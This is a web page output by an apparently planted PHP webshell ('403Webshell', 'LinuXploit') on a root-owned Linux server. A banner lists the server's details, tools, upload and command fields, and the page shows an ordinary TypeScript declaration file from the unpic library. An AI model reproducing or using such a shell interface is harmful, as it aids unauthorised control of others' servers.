403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.37
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/unpic/script/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/unpic/script/src/async.d.ts
import type { ProviderOperations, ProviderOptions } from "./providers/types.js";
import type { ProviderModule } from "./providers/types.js";
import type { ImageCdn, URLExtractor, URLGenerator, URLTransformer, UrlTransformerOptions } from "./types.js";
/**
 * Returns a parser function if the given URL is from a known image CDN
 */
export declare const getExtractorForUrl: <TCDN extends ImageCdn = ImageCdn>(url: string | URL) => Promise<URLExtractor<TCDN> | undefined>;
/**
 * Dynamically loads the module for the given provider
 */
export declare function getModuleForProvider<TCDN extends ImageCdn>(cdn: TCDN | false | undefined): Promise<ProviderModule<TCDN>> | undefined;
/**
 * Dynamically loads the extract function for the given provider
 */
export declare const getExtractorForProvider: <TCDN extends ImageCdn>(cdn: TCDN | false | undefined) => Promise<URLExtractor<TCDN> | undefined>;
/**
 * Dynamically loads the generate function for the given provider
 */
export declare const getGeneratorForProvider: <TCDN extends ImageCdn>(cdn: TCDN | false | undefined) => Promise<URLGenerator<TCDN> | undefined>;
/**
 * Dynamically loads the transform function for the given provider
 */
export declare const getTransformerForProvider: <TCDN extends ImageCdn>(cdn: TCDN | false | undefined) => Promise<URLTransformer<TCDN> | undefined>;
/**
 * Transforms an image URL to a new URL with the given options.
 * If the URL is not from a known image CDN it returns undefined.
 *
 * This function is async because it dynamically loads the module for the provider.
 * If you need a synchronous version, import from the root module instead.
 */
export declare function transformUrl<TCDN extends ImageCdn = ImageCdn>(url: string | URL, { provider, cdn: cdnOption, fallback, ...operations }: UrlTransformerOptions<TCDN>, providerOperations?: Partial<ProviderOperations>, providerOptions?: Partial<ProviderOptions>): Promise<string | undefined>;
//# sourceMappingURL=async.d.ts.map

Youez - 2016 - github.com/yon3zu
LinuXploit